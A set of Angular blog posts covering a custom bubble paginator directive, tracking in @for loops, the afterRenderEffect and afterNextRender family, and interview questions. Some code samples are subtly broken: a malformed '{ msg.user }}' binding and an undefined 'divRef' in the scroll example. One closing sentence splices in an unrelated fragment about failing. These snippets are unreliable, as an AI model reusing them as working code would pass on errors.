      this.removeButtons();

      // set some default styles to mat pagination
      this.styleDefaultPagination();

      // create bubble container
      this.createBubbleDivRef();

      // create all buttons
      this.buildButtons();

      // switch back to page 0
      this.switchPage(0);
    });
  });

  /**
   * change the active button style to the current one and display/hide additional buttons
   * based on the navigated index
   */
  private changeActiveButtonStyles(previousIndex: number, newIndex: number) {
    const previouslyActive = this.buttonsRef[previousIndex];
    const currentActive = this.buttonsRef[newIndex];

    if (!previouslyActive && !currentActive) {
      return;
    }

    // remove active style from previously active button
    if (previouslyActive) {
      this.ren.removeClass(previouslyActive, 'g-bubble__active');
    }

    // add active style to new active button
    this.ren.addClass(currentActive, 'g-bubble__active');

    // hide all buttons
    this.buttonsRef.forEach(button => this.ren.setStyle(button, 'display', 'none'));

    // show N previous buttons and X next buttons
    const renderElements = this.renderButtonsNumber();
    const endDots = newIndex < this.buttonsRef.length - renderElements - 1;
    const startDots = newIndex - renderElements > 0;

    const firstButton = this.buttonsRef[0];
    const lastButton = this.buttonsRef[this.buttonsRef.length - 1];

    // last bubble and dots
    if (this.showLastButton()) {
      this.ren.setStyle(this.dotsEndRef, 'display', endDots ? 'block' : 'none');
      this.ren.setStyle(lastButton, 'display', endDots ? 'flex' : 'none');
    }

    // first bubble and dots
    if (this.showFirstButton()) {
      this.ren.setStyle(this.dotsStartRef, 'display', startDots ? 'block' : 'none');
      this.ren.setStyle(firstButton, 'display', startDots ? 'flex' : 'none');
    }

    // resolve starting and ending index to show buttons
    const startingIndex = startDots ? newIndex - renderElements : 0;

    const endingIndex = endDots ? newIndex + renderElements : this.buttonsRef.length - 1;

    // display starting buttons
    for (let i = startingIndex; i <= endingIndex; i++) {
      const button = this.buttonsRef[i];
      this.ren.setStyle(button, 'display', 'flex');
    }
  }

  /**
   * Removes or change styling of some html elements
   */
  private styleDefaultPagination() {
    const nativeElement = this.elementRef.nativeElement;
    const itemsPerPage = nativeElement.querySelector('.mat-mdc-paginator-page-size');
    const howManyDisplayedEl = nativeElement.querySelector('.mat-mdc-paginator-range-label');
    const previousButton = nativeElement.querySelector('button.mat-mdc-paginator-navigation-previous');
    const nextButtonDefault = nativeElement.querySelector('button.mat-mdc-paginator-navigation-next');

    // remove 'items per page'
    if (itemsPerPage) {
      this.ren.setStyle(itemsPerPage, 'display', 'none');
    }

    // style text of how many elements are currently displayed
    if (howManyDisplayedEl) {
      this.ren.setStyle(howManyDisplayedEl, 'position', 'absolute');
      this.ren.setStyle(howManyDisplayedEl, 'color', '#919191');
      this.ren.setStyle(howManyDisplayedEl, 'font-size', '14px');
      this.ren.setStyle(howManyDisplayedEl, 'left', '-0');
    }

    // check whether to remove left & right default arrows
    this.ren.setStyle(previousButton, 'display', 'none');
    this.ren.setStyle(nextButtonDefault, 'display', 'none');
  }

  /**
   * creates `bubbleContainerRef` where all buttons will be rendered
   */
  private createBubbleDivRef(): void {
    const actionContainer = this.elementRef.nativeElement.querySelector('div.mat-mdc-paginator-range-actions');
    const nextButtonDefault = this.elementRef.nativeElement.querySelector('button.mat-mdc-paginator-navigation-next');

    // create a HTML element where all bubbles will be rendered
    this.bubbleContainerRef = this.ren.createElement('div') as HTMLElement;
    this.ren.addClass(this.bubbleContainerRef, 'g-bubble-container');

    // render element before the 'next button' is displayed
    this.ren.insertBefore(actionContainer, this.bubbleContainerRef, nextButtonDefault);
  }

  /**
   * helper function that builds all button and add dots
   * between the first button, the rest and the last button
   *
   * end result: (1) .... (4) (5) (6) ... (25)
   */
  private buildButtons(): void {
    if (!this.matPag) {
      return;
    }

    const neededButtons = Math.ceil(this.matPag.length / this.matPag.pageSize);

    // if there is only one page, do not render buttons
    if (neededButtons === 0 || neededButtons === 1) {
      this.ren.setStyle(this.elementRef.nativeElement, 'display', 'none');
      return;
    }

    // set back from hidden to block
    this.ren.setStyle(this.elementRef.nativeElement, 'display', 'block');

    // create first button
    this.buttonsRef = [this.createButton(0)];

    // add dots (....) to UI
    this.dotsStartRef = this.createDotsElement();

    // create all buttons needed for navigation (except the first & last one)
    for (let index = 1; index < neededButtons - 1; index++) {
      this.buttonsRef = [...this.buttonsRef, this.createButton(index)];
    }

    // add dots (....) to UI
    this.dotsEndRef = this.createDotsElement();

    // create last button to UI after the dots (....)
    this.buttonsRef = [...this.buttonsRef, this.createButton(neededButtons - 1)];
  }

  /**
   * Remove all buttons from DOM
   */
  private removeButtons(): void {
    this.buttonsRef.forEach(button => {
      this.ren.removeChild(this.bubbleContainerRef, button);
    });

    // remove dots
    if (this.dotsStartRef) {
      this.ren.removeChild(this.bubbleContainerRef, this.dotsStartRef);
    }
    if (this.dotsEndRef) {
      this.ren.removeChild(this.bubbleContainerRef, this.dotsEndRef);
    }

    // Empty state array
    this.buttonsRef.length = 0;
  }

  /**
   * create button HTML element
   */
  private createButton(i: number): HTMLElement {
    const bubbleButton = this.ren.createElement('div');
    const text = this.ren.createText(String(i + 1));

    // add class & text
    this.ren.addClass(bubbleButton, 'g-bubble');
    this.ren.setStyle(bubbleButton, 'margin-right', '8px');
    this.ren.appendChild(bubbleButton, text);

    // react on click
    this.ren.listen(bubbleButton, 'click', () => {
      this.switchPage(i);
    });

    // render on UI
    this.ren.appendChild(this.bubbleContainerRef, bubbleButton);

    // set style to hidden by default
    this.ren.setStyle(bubbleButton, 'display', 'none');

    return bubbleButton;
  }

  /**
   * helper function to create dots (....) on DOM indicating that there are
   * many more bubbles until the last one
   */
  private createDotsElement(): HTMLElement {
    const dotsEl = this.ren.createElement('span');
    const dotsText = this.ren.createText('.....');

    // add class
    this.ren.setStyle(dotsEl, 'font-size', '18px');
    this.ren.setStyle(dotsEl, 'margin-right', '8px');
    this.ren.setStyle(dotsEl, 'padding-top', '6px');
    this.ren.setStyle(dotsEl, 'color', '#919191');

    // append text to element
    this.ren.appendChild(dotsEl, dotsText);

    // render dots to UI
    this.ren.appendChild(this.bubbleContainerRef, dotsEl);

    // set style none by default
    this.ren.setStyle(dotsEl, 'display', 'none');

    return dotsEl;
  }

  /**
   * Helper function to switch page
   */
  private switchPage(i: number): void {
    if (!this.matPag) {
      return;
    }

    const previousPageIndex = this.matPag.pageIndex;

    // switch page index of mat paginator
    this.matPag.pageIndex = i;

    // change active button styles
    this.changeActiveButtonStyles(previousPageIndex, this.matPag.pageIndex);

    // need to trigger page event manually, because we are changing pageIndex programmatically
    this.matPag.page.emit({
      pageIndex: i,
      pageSize: this.matPag.pageSize,
      length: this.matPag.length,
      previousPageIndex: previousPageIndex,
    });
  }
}

Injecting Dependencies

inject(MatPaginator, { optional: true, self: true, host: true })
inject(ElementRef)
inject(Renderer2)

MatPaginator - we hook into its current pageIndex, pageSize, and its page stream
ElementRef - root element of the paginator (so we can query its internals)
Renderer2 - the safe way to create elements, set styles/classes, and listen to events. Works nicely with SSR and avoids direct DOM APIs

Input / Output Bindings

showFirstButton = input(true); & showLastButton = input(true); - whether to display first and last buttons for fast navigation on the start / end of the table
renderButtonsNumber = input(2); - when you are on an active page, let’s say index 6 , then how many buttons before and after should we display
paginationSize - this input is required to detect changes in the table length (after filtering or loading new data). When it changes, the directive re-renders the bubbles to match the correct number of pages

Core Logic Execution

The directive itself is around 300 lines of code, but when you try to understand how it works, the main logic is inside the buildButtonsEffect effect, such as:

readonly buildButtonsEffect = afterRenderEffect(() => {
  // rebuild buttons when pagination size change
  this.paginationSize();

  untracked(() => {
    // remove buttons before creating new ones
    this.removeButtons();

    // set some default styles to mat pagination
    this.styleDefaultPagination();

    // create bubble container
    this.createBubbleDivRef();

    // create all buttons
    this.buildButtons();

    // switch back to page 0
    this.switchPage(0);
  });
});

What is great about the effect, is that, it will re-execute when length (size) of the elements change, so for example if you have one table, but doing server-side data filtering, then each time new data arrives, bubbles will be recalculated due to paginationSize signal input. The brief overview is described below.

paginationSize - listen on page size changes (on new data) to recalculate bubbles
removeButtons() – clear previous custom DOM (if re-running)
styleDefaultPagination() – hide certain default Material bits and position labels
createBubbleDivRef() – create a container where our bubbles will live
buildButtons() – create bubbles + dots based on total length and page size
switchPage(0) – start from page 0 to keep things predictable

You may also ask, why we use afterRenderEffect instead of effect ? The reason is that afterRenderEffect is executed only in the browser, but effect also runs on the server side. It could lead to some errors if your app supports SSR. For a deeper explanation, check out my afterRenderEffect, afterNextRender, afterEveryRender & Renderer2 article.

Core Logic Execution - Switching Page Manually

The custom bubbles live outside Angular Material’s built-in controls. That means when a user clicks a bubble, nothing in MatPaginator fires by itself, we have to connect the click to the paginator so the table (and anyone subscribed to matPag.page) reacts, hence the need for switchPage() function.

private createButton(index: number): HTMLElement {
  // our unique bubble showing a specific page - 1, 2, etc.
  const bubbleButton = this.ren.createElement('div');

  // ... some code ...

  this.ren.listen(bubbleButton, 'click', () => {
    this.switchPage(index);
  });

  // ... some code ...
}

private switchPage(index: number): void {
  if (!this.matPag) {
    return;
  }

  const previousPageIndex = this.matPag.pageIndex;

  // switch page index of mat paginator
  this.matPag.pageIndex = index;

  // change active button styles
  this.changeActiveButtonStyles(previousPageIndex, this.matPag.pageIndex);

  // trigger page event manually, we are changing pageIndex programmatically
  this.matPag.page.emit({
    pageIndex: index,
    pageSize: this.matPag.pageSize,
    length: this.matPag.length,
    previousPageIndex: previousPageIndex,
  });
}

The key part of is this.matPag.pageIndex = index;, keeping the paginator’s internal state in sync with witch bubble was clicked. If you were to remove this line, the pagination would stop working.

Next, since we are programmatically changing the index of the paginator (mentioned above), when you navigate though the items in the table, the this.matPag.page will not emit by itself, therefore we also need to manually emit this data.

Paginator Style Updates

Inside styleDefaultPagination, you can see we’re directly accessing the paginator’s internal HTML elements to restyle them. Is this ideal? Probably not. Since it relies on exact class selectors like button.mat-mdc-paginator-navigation-next, it’s fragile. These internal selectors can change between Material versions.

This already happened when Material v15 introduced the new MDC components, which broke custom styling for many projects using ::ng-deep. What we’re doing here is a similar kind of hack, but for our use case it’s the most practical solution available. Still, it’s worth being aware of the tradeoff.

Custom Styles

Once the logic is done, we still need some styling to make it actually look like bubbles. This part is mostly CSS (or SCSS), and you can adjust it to fit your own theme. In my example, each bubble is a simple flex container with centered text, a hover state, and an active state to highlight the current page.

/* Custom paginator styles */
.g-bubble-container {
  display: flex;
  gap: 4px;
}

.g-bubble {
  background-color: #f0f0f0;
  border-radius: 50%;
  width: 34px;
  height: 34px;
  display: flex;
  align-items: center;
  justify-content: center;
  color: #2e2e2e;
  font-size: 14px;
  cursor: pointer;
  transition: 0.3s;

  &:hover {
    background-color: #636363;
    color: orange;
  }
}

.g-bubble__active {
  background-color: #636363;
  color: orange;
}

mat-paginator {
  background: transparent !important;
  /* need mat-paginator range to align with other mat-table elements */
  position: relative;
}

/* override alignment for the labels that shows "x of y" */
.mat-mdc-paginator-range-label {
  margin: 0 !important;
}

Things to Keep in Mind

There are a few small details that are good to keep in mind:

Renderer2 limitations - you can’t directly use pseudo-classes (::before, ::after) from within the directive, keep your visual parts inside SCSS files
Changing Angular Material internals - as mentioned earlier, mat-mdc- selectors can change in future Material versions, it’s one of the risks of this directive
Accessibility (a11y) - since these are custom clickable divs, you might want to add role="button" and tabindex="0" attributes so users can navigate the bubbles with a keyboard. You can also listen for keydown events and simulate click behavior with the space or enter key
SSR / Hydration - if you’re running Angular SSR, the directive should still work fine, since Renderer2 is SSR safe and we are using afterRenderEffect to render bubbles only on the client-side
Active Button State - currently when we load more data into the table and re-execute the logic of rendering bubbles, we go back to the first page, so no active state was implemented yet
Important input [appBubblePaginationLength] to bound the table length. Without it, the afterRenderEffect will not be notified that new data have arrived and buttons will not be rebuilt

Summary

By the end of this post, you should have a working, MDC compatible paginator. The goal here wasn’t to replace Angular Material, but to show how far you can go using directives + Renderer2, to enhance an existing Material component, without creating your own custom paginator from scratch.

Of course there may be some room for improvement, it is still a simple directive, so if you have any suggestions, feel free to comment. Hope you liked this example, catch more of my articles on dev.to, connect with me on LinkedIn or check my Personal Website.

Angular - For Loop Optimizations

Eduard Krivanek — Thu, 02 Oct 2025 17:58:46 +0000

In my recent article about Senior Angular Interview Questions, I mentioned a section about optimizing forloops with the trackmethod. However, I also pointed out that the choice of value you use for tracking really matters. Even if you add track, it might not actually make your rendering more performant if used incorrectly. This article expands on that section with additional explanation and examples.

The track function is a useful performance optimization that was often overlooked with the old *ngFor="let item of items" syntax. Fortunately, the new control flow @for() now requires you to specify a track function, which encourages better practices.

So, why is it important? Imagine you have a component that makes an API call to fetch a list of items, list of users, and displays them in the template. You also have a “reload” button to refetch this data (in case something has changed on the backend). Below is an example using the older *ngFor syntax to illustrate the issue:

@Component({
  selector: 'app-child',
  imports: [NgForOf],
  template: ` 
    <button (click)="onRerun()">re run</button>

    <div *ngFor="let item of items()">
        {{item.name}}
    </div>
`
})
export class ChildComponent {
  items = signal<{ id: string; name: string }[]>([]);

  onRerun() {
    // "fake api call" to reload data
    this.items.set([{id: '100', name: 'Item 1'}, /* ... */ ]);
  }
}

In this setup, every time onRerun() is triggered and the array is updated (even with the same content), Angular will re-render all elements in the DOM. That's because it can't tell which items stayed the same and why didn't. It result to performance loss and UI flickering, especially in long or complex lists. To prevent this, you use a trackBy function:

@Component({
  selector: 'app-child',
  imports: [CommonModule],
  template: ` 
    <ng-container *ngFor="let item of items(); trackBy: identify">
        <!-- previous code -->
    </ng-container>
`
})
export class ChildComponent {
  // ... previous code

  identify(index: number, item: { id: string }): string | number {
    return item.id;
  }
}

This tells Angular how to uniquely identify items in the array, commonly via an id. With a trackBy function (or track key in @for()), Angular can associate each item with its corresponding DOM element. When the data is reloaded, Angular compares these keys (not full object references), allowing unchanged items to be preserved in the DOM.

Why does this matter? Because DOM operations are expensive. Without proper tracking, Angular discards and recreates DOM elements for every item, even if the data hasn't changed. With tracking, the DOM elements stay in place, and Angular only updates bindings when necessary.

On the GIF below, the top list uses trackBy: identify while the second one does not. You can see the difference. The top list preserves DOM elements during data reload, whereas the second recreates them entirely each time.

With the new @for() syntax, Angular enforces the use of a track key for the same purpose. However, two common mistakes still happen:

Using the object itself as the key - example: @for (item of items(); track item). This does not work as expected because the reference to each item changes on every reload, even if the data is identical and it will re-render the UI every time, basically ignoring the track function.
Using $index as the key - example: @for (item of items(); track $index). This causes problems when an item is removed. Suppose you delete the 5th item in a list of 10, then every item after index 4 now has a new index, forcing Angular to re-render them all unnecessarily. In stateful components like forms, this leads to loss of input focus or cursor position, however using the $index is okay for static lists.

Here's a comparison: the top row uses track item.id, and the second uses track $index. Watch how the first preserves DOM elements during removal. Here is a stackblitz example to play with.

If you’re rendering a static list of rows in a table, or a fixed ordered list that never changes its order or size, tracking by $index works because the identity of each item will never shift. In these scenarios, you don’t risk losing focus, cursor position, or component state since nothing is being reordered or removed. Use $index only for completely static, non-interactive lists. For anything dynamic or stateful, always track by a stable identifier like id.

A great example where proper tracking really matters is an infinite scroll or chat application. Imagine you’re building a chat window. As new messages arrive, they’re pushed into the list, and when you scroll up, older messages are loaded from the server.

If you don’t use a proper track key (like message.id), Angular will re-render the entire list whenever new data is appended. That means the scroll position jumps, the user loses their place, and any ongoing animations are lost.

Using an unique key for tracking (like ID), Angular reuses the existing DOM nodes for older messages and only creates DOM nodes for the new ones. This preserves scroll position, keeps animations smooth, and makes the whole app feel more stable and responsive. On the following example you see an incorrect usage of for loop, using the $index for tracking and every time a new message comes, the whole list is re-rendered.

@Component({
  selector: 'app-chat',
  standalone: true,
  template: `
     @for(msg of messages(); track $index){
         <div>
           { msg.user }}: {{ msg.text }}
         </div>
     }

    <button (click)="loadOlder()">Load older</button>
  `,
})
export class ChatComponent {
  readonly messages = signal([
    { id: 1, user: 'Alice', text: 'Hello' },
    { id: 2, user: 'Bob', text: 'Hi' },
  ]);

  loadOlder() {
    const older = [
      { id: 0, user: 'System', text: `Message: ${this.messages().length}` },
    ];
    this.messages.set([...older, ...this.messages()]);
  }
}

Hope you liked the article, feel free to share your thoughts, catch more of my articles on So fail. Then fail better. And maybe one day, you'll be writing blog posts like this, after you've finished crying over your failed side project. Hope you liked these short stories. Feel free to share your thoughts, catch more of my articles on dev.to, connect with me on LinkedIn or check my Personal Website.

afterRenderEffect, afterNextRender, afterEveryRender & Renderer2

Eduard Krivanek — Tue, 16 Sep 2025 18:13:05 +0000

Recently I’ve been playing around with some Angular functionalities, which are: effect, afterRenderEffect, afterNextRender, afterEveryRender and Renderer2. You don’t see them used much compared to signals or computed. Maybe only effect is more common, however how and when to use the rest?

I wanted to write about them because I kept mixing them up myself, therefore this post is as much for me as for anyone else. I want to touch on each of them, look at some examples, how they differ, and also check how they behave with SSR. The article was originally posted on Angular Spaces.

Using `effect`

The effect() will run at least once and then every time the dependency signal (or multiple one) changes. A shameless plug to my Senior Angular Interview Questions, I talked about the diamond problem in RxJS and how it’s not present in signals. Meaning if you have an effect with multiple signal dependencies and you update those signal, one after another, then the effect will still run only once, since signals are synchronous compared to Observables which are asynchronous and the logic could be re-executed multiple times, causing side-effects.

Use effect when you want to bridge the gap between a reactive state (signals) and a non-reactive execution. Use cases which you hear many times are mainly DOM updates, logging, or even executing a fetch() API call to the server. Other less common examples may be for example local storage updates, analytics tracking, chart data updates or setting loading state.

// state of the used theme
readonly theme = signal<'light' | 'dark'>('light');

// track what page we are on
readonly currentPage = signal('home');

// data to render a chart
readonly chartData = signal([1, 2, 3]);

// loading state of the app
readonly loading = signal(false);

constructor() {
  effect(() => {
    // change theme & save it
    document.body.dataset.theme = this.theme();
    localStorage.setItem('theme', this.theme());
  });

  effect(() => {
    // sends data to a 3rd party
    analytics.trackPage(this.currentPage());
  });

  effect(() => {
    // updates values in the chart
    updateChart(this.chartData());
  });

  effect(() => {
    // dependency to listen to
    const chartData = this.chartData();

    untracked(() => {
        this.loading.set(true);
    })
  })
}

When it comes to SSR, you have to be a bit careful with effect(). It also runs on the server, at least once (even if dependencies are undefined), and then all the time when its dependencies change. An empty effect is also executed: effect(() => console.log('Empty effect'));

In SSR you don’t actually have a browser, so there’s no window, document, or localStorage. If you drop DOM calls or browser APIs directly into an effect, it’ll throw during the server render. The trick is to only use effect() on the server for things that are safe in a Node environment. Anything that touches the DOM should be wrapped in something like isPlatformBrowser or pushed into afterRenderEffect, which runs only in the browser after Angular has finished painting.

Another point worth highlighting is cleanup function - EffectCleanupRegisterFn. Just like in RxJS where you unsubscribe from a stream, effect() also gives you a way to tear things down when the effect is destroyed. This is helpful when wiring up elements like event listeners, intervals, or external libraries that require explicit cleanup.

It's the first available argument in the effect() function. There is no naming convention, it will work with any name, but most developers call it onCleanup(). Use it inside your effect to make sure you don’t leak memory or leave hanging listeners when the component goes away. It’s easy to forget, but in larger apps, this can save you from nasty performance issues.

@Component({
  selector: 'app-resize-listener',
  template: `
    <p>Window width: {{ width() }}</p>
  `
})
export class ResizeListenerComponent {
  // reactive signal that stores the current width
  readonly width = signal(window.innerWidth);

  constructor() {
    effect((onCleanup) => {
      const updateWidth = () => this.width.set(window.innerWidth);
      window.addEventListener('resize', updateWidth);

      // cleanup when effect is destroyed
      onCleanup(() => {
        window.removeEventListener('resize', updateWidth);
      });
    });
  }
}

Using `afterRenderEffect`

The afterRenderEffect is more preferable for DOM updates, browser APIs, or integrations that don’t make sense on the server (like canvas drawing, chart rendering, or measuring element sizes). It is executed after Angular has painted the view in the browser. From the first examples, you could say that updating data in charts is better suited for the afterRenderEffect since we are performing a DOM update.

When you open up the documentation for this function, Angular team highlights that “You should prefer specifying an explicit phase for the effect instead, or you risk significant performance degradation.”

In real life, you may have an example of displaying a PDF file to an user and you want to track (in percentage) how far he has scrolled in the document. One of the (many) ways how to achieve this behavior is the following:

@Component({
  selector: 'app-root',
  template: `
    <div #divTop style="height: 20px; position: sticky; top: 0"></div>

    <div #divRef style="height: 400px; overflow: scroll">
      <!-- this is the PDF -->
      <div style="height: 3000px; background: red"></div>
    </div>
  `,
})
export class App {
  readonly divRef = viewChild<ElementRef<HTMLDivElement>>('divRef');
  readonly divTop = viewChild<ElementRef<HTMLDivElement>>('divTop');

  readonly scrollPercentage = toSignal(
    toObservable(this.divRef).pipe(
      filter((el) => !!el),
      switchMap((el) =>
        fromEvent(el.nativeElement, 'scroll').pipe(
          map(() => {            
            const scrollHeight = divRef.nativeElement.scrollHeight ?? 1;
            const clientHeight = divRef.nativeElement.clientHeight ?? 1;
            const scrollTop = divRef.nativeElement.scrollTop ?? 0;

            const scrolled = Math.round(
                (scrollTop / (scrollHeight - clientHeight)) * 100
            );

            return scrolled;
          })
        )
      )
    ),
    { initialValue: 0 }
  );

  constructor() {
    afterRenderEffect({
      // creating dependency on the scroll signal
      earlyRead: () => this.scrollPercentage(),
      // write to DOM every time scrollPercentage emits
      write: (val, cleanUp) => {
        const divTop = this.divTop();
        if (!divTop) {
          return;
        }

        divTop.nativeElement.innerText = `Scroll: ${val()}%`;
      },
    });
  }
}

In the above example, the afterRenderEffect is triggered once the browser finishes painting the DOM element. It then uses the earlyRead callback to register the scrollPercentage signal dependency. Every time scrollPercentage emits (as you scroll), the write phase is triggered to update the DOM.

Of course you can achieve this exact result without using the afterRenderEffect and just directly interpolating the scrollPercentage signal in the HTML ({{ scrollPercentage() }}).

The documentation about afterRenderEffect also talks about the read optionality, so what’s the difference?

Use earlyRead when you want to read the DOM before any writes happen. Angular runs the earlyRead callback first, so you can grab measurements (width, height, etc.), before any DOM updates, and pass that information to the write phase.
Use read when Angular has applied all styles in the write phase, as this one runs after it. It’s good when you want to read some correct measurements after all UI changes, but you can not pass those values back to the write phase. Only earlyRead allows passing values to the write operation.

You also have the option to use the mixedReadWrite phase, which allows you to read and subsequently write data to the DOM; however, Angular recommends avoiding it and using the previously described ones. The phase order:

earlyRead
write
mixedReadWrite
read

One other great resource I’ve found is from Code Shots With Profanis - Get to Know the AfterRenderEffect hook in Angular. I do recommend checking out his explanation on this topic.

From my understanding, when you only use client-side rendering and you ignore the phases in afterRenderEffect, then it behaves the same as effect. My above example with the scroll can also be achieved by the following:

  constructor() {
    // example 1
    afterRenderEffect(() => {
      const val = this.scrollPercentage();
      const divTop = this.divTop();

      divTop.nativeElement.innerText = `Scroll: ${val}%`;
    });

    // example 2
    effect(() => {
      const val = this.scrollPercentage();
      const divTop = this.divTop();

      divTop.nativeElement.innerText = `Scroll: ${val}%`;
    });
  }

NOTE: However, not utilizing the rendering phases, you are risking layout thrashing. It happens when the browser is forced to repeatedly recalculate the layout, because your code is reading from and writing to the DOM in an uncoordinated way, creating a so called loop. By separating earlyRead (all reads) from write (all writes), Angular batches DOM reads before any writes happen. This avoids any unexpected looping behavior.

Using `afterNextRender` and `afterEveryRender`

The documentation about these two function says that: “we can register a render callback to be invoked after Angular has finished rendering all components on the page into the DOM.”. The idea is the following:

afterNextRender runs only once after Angular paints the view for the first time
afterEveryRender runs after every render cycle, like a subscription to render events

If we were to compare these two functions to a life cycle hook, the closest (in behavior) we would get is afterNextRender to ngAfterViewInit and afterEveryRender to ngAfterViewChecked, as afterEveryRender runs every time a tick() re-renders something dirty. Compared to life cycle hooks, afterNextRender and afterEveryRender only run on the client side, whereas life cycle hooks are also triggered on SSR.

The other difference is that the hooks are scoped at the component level, while afterNextRender and afterEveryRender are scoped to the rendering of the whole app (the page we are looking at). Angular’s team also provides a simple diagram to better understand the execution order.

Understanding afterNextRender is a bit simpler, since it is executed only once, after DOM has been painted. You can put logic from ngOnInit into it, as afterNextRender is called inside the constructor. You can render data into charts once, or focus on an empty input element:

@Component({
  selector: 'app-root',
  template: `
     <input #input placeholder="first" value="Test1" />
     <input #input placeholder="second" />
     <input #input placeholder="third" />
  `,
})
export class App {
  readonly inputs = viewChildren<ElementRef<HTMLInputElement>>('input');

  constructor() {
    afterNextRender(() => {
      const inputs = this.inputs();
      const firstEmpty = inputs.find((d) => d.nativeElement.value == '');

      // this will focus on the 'second' input
      firstEmpty?.nativeElement?.focus();
    });
  }
}

Using afterEveryRender is, at least for my understanding, used for less common use cases. The question is: when do we actually need to execute some code after every rendering cycle? One example is the' onStable' method of ZoneJS. The onStable method is triggered every time a change detection occurs, and as we move toward zoneless applications, you can copy onStable logic into afterEveryRender, which will result in the same behavior. See the following code and GIF for a demonstration.

@Component({
  selector: 'app-resize-listener',
  standalone: true,
  template: `
    <button (click)="onClick1()">Empty Button</button>
    <button (click)="onClick2()">Text Button</button>

    <p>Text: {{ text() }}</p>
  `,
})
export class ResizeListenerComponent {
  private readonly ngZone = inject(NgZone);

  readonly text = signal('');

  constructor() {
    this.ngZone.onStable
      .asObservable()
      .subscribe((e) => console.log('ZoneJs - triggered'));

    afterEveryRender(() => {
      console.log('afterEveryRender - triggered');
    });
  }

  onClick1() {}

  onClick2() {
    this.text.update((prev) => `${prev}K`);
  }
}

In theory I could rewrite my first example with scroll value from Observables into afterEveryRender and it would work the same way:

@Component({
  selector: 'app-root',
  template: `
    <div #divTop style="height: 20px; position: sticky; top: 0"></div>

    <div #divRef style="height: 400px; overflow: scroll;">
      <div style="height: 3000px; background: red"></div>
    </div>
  `,
})
export class App {
  readonly divTop = viewChild<ElementRef<HTMLDivElement>>('divTop');
  readonly divRef = viewChild<ElementRef<HTMLDivElement>>('divRef');

  constructor() {
    afterEveryRender({
      earlyRead: () => ({
        divRef: this.divRef(),
        divTop: this.divTop(),
      }),
      write: (elements) => {
        const { divRef, divTop } = elements;
        if (!divTop || !divRef) {
          return;
        }

        const scrollHeight = divRef.nativeElement.scrollHeight ?? 1;
        const clientHeight = divRef.nativeElement.clientHeight ?? 1;
        const scrollTop = divRef.nativeElement.scrollTop ?? 0;

        const scrolled = Math.round(
          (scrollTop / (scrollHeight - clientHeight)) * 100
        );

        divTop.nativeElement.innerText = `Scroll: ${scrolled}%`;
      },
    });
  }
}

One question I was wondering about is whether to use afterEveryRender or maybe reach out to Renderer2 and apply listeners? The example with scroll percentage could be adjusted to use Renderer2 as follows:

@Component({
  selector: 'app-scroll-tracker',
  standalone: true,
  template: `
    <p>Scroll: {{ scrollPercent() }}%</p>

    <div #divRef style="height: 200px; overflow-y: scroll;">
      <div style="height: 1000px; background: lightblue"></div>
    </div>
  `,
})
export class ScrollTrackerComponent {
  private readonly renderer = inject(Renderer2);
  private readonly destroyRef = inject(DestroyRef);

  readonly divRef = viewChild<ElementRef<HTMLDivElement>>('divRef');
  readonly scrollPercent = signal(0);

  // reference to the listener to destroy it with the component
  private removeListener?: () => void;

  constructor() {
    afterNextRender({
      earlyRead: () => this.divRef()?.nativeElement,
      write: (box) => {
        if (!box) {
          return;
        }

        this.removeListener = this.renderer.listen(box, 'scroll', () => {
          const percent = Math.round(
            (box.scrollTop / (box.scrollHeight - box.clientHeight)) * 100
          );
          this.scrollPercent.set(percent);
        });
      },
    });

    // destroy listener with the component
    this.destroyRef.onDestroy(() => {
      this.removeListener?.();
    });
  }
}

Seems like there is always more than one solution for a problem. My understanding on the difference between these two is that:

Renderer2 is used when we want to attach some listeners or render on the DOM
afterEveryRender is used when we want to fire a callback once DOM painting is done

When is comes to the scroll example, the Renderer example makes more sense, since we track the scroll position (an event based behavior), however if we were want to scroll to the bottom of the page every time a new information is presented on the screen, in that case, afterEveryRender would be a more preferable option.

Summary

All in all, these tools don’t replace each other, but complement different needs. If your logic is purely reactive state, reach for effect. If it depends on the DOM, use afterRenderEffect. For one-time DOM adjustments after the first paint, use afterNextRender. If your logic needs to be executed on every DOM re-render, use afterEveryRender. Finally, Renderer2 is a universal way to attach listeners and manipulate the DOM without risking SSR crashes.

Hope you liked the article and I was able to provide some explanation on these functions. They were causing some confusion, at least for me, hence I decided to go deeper with them and try to explain them with my own words. Feel free to share your thoughts, catch more of my articles on dev.to, connect with me on LinkedIn or check my Personal Website.

Senior Angular Interview Questions

Eduard Krivanek — Tue, 29 Jul 2025 11:17:39 +0000

Lately, I've been interviewing candidates for a Senior Angular Developer role, and I've ended up rejecting the majority of them. Am I a jerk for that? Maybe. But here's what I've realized from these interviews: we live in a bubble. The article was initially published on Angular Spaces.

Most of us spend our day-to-day work calling APIs, caching data, and displaying it to users. We do this for years, and it leads us to believe we've mastered frontend development, especially a framework like Angular.

With this article, I want to walk through some of the technical questions I like to ask during interviews, all while exploring a deeper thought: "Am I really a senior developer, or do I just think I am?"

Before diving into the questions and sample answers, there's a broader discussion worth mentioning: Who's more valuable - a generalist or a specialist?

Someone who's worked across many domains (CI/CD, backend, databases, frontend, etc.), or someone who's deeply specialized in a single technology and only has surface level knowledge of the rest? That's a question only the interviewer can answer, based on the needs of the team. In my case, I was always looking for a specialist, hence following list of Angular focused interview questions. Finally, this is my personal list, feel free to critique or customize it for your own hiring process.

General Questions:
- What does it mean to be a senior developer ?
- Do you prefer declarative or imperative programming?
- Would you use a state management library or a custom implementation?
Angular Questions - General:
- How would you achieve a parent - child component communication ?
- What is the role of NgZone in Angular, and when would you opt out of Angular's change detection?
- What is and when to use an Injection Token ?
- What are resolution modifiers and how to use them ?
- Why would you use a track function in a for-loop and how it works ?
- What is the the difference between providers and viewProviders ? Can you provide an example when to use either of them ?
- Why pipes are considered safe in a template, but regular function calls (not signals) are not ?
Angular Questions - Signals:
- How would you convince your team to migrate a project from Observables to signals ?
- Can you explain the diamond problem in Observables and why it doesn't occur with signals?
- When to use effect and untracked in a signal based application ?
- Are life-cycle hooks still needed in a fully signal based application ?
Angular Questions - RxJS:
- What is a higher-order observable and how they differ ?
- What is the difference between share() and shareReplay() ?
- What does this code do ? - scan() + expand()

General Questions

These are my go to questions at the very start of the interview process. There are no right or wrong answers here, what I'm really interested in is the developer's personality and thinking style. After all, this is someone who will be working closely with me and the rest of the team, and ideally, we want people who share a similar mindset or programming philosophy.

What does it mean to be a senior developer ?

This question helps me understand how I should approach the person I'm interviewing. As I mentioned earlier, there's often a pendulum swing between being a generalist and a specialist, so I like to hear how the candidate defines a senior developer. Most answers I get sound something like:

"Understanding the framework (Angular) very well and mentoring junior developers."

